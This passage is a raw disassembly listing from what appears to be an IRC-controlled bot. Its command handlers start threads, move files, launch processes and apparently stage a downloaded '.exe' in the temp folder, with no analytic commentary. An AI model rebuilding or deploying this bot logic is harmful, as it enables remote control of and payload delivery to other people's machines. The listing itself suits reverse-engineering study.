loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E588[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB08
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E370[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E588
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E588[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E370[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E588
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CB674	; inet_addr
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAAC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40C668
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42ABA0
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset sub_4103AA
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AA2C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA00
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset sub_4163F9
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A9C0
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A984
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset sub_414A91
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A94C
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A91C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset sub_4137CC
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A8E4
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8B4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset sub_412A53
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A87C
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A84C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A810
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7E4
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset sub_412E9D
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A7AC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A774
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		call	dword_4270B4	; MoveFileA
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A750
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A744
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A714
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset sub_416CAD
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A6D8


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_42706C	; CreateProcessA
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A6B4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_42A698
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	dword_4270B0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A660
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset sub_4163F9
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A624
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_42A5DC


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42CFF8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5CC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_427078	; Sleep


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_42A5B8
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42CFF8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5CC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
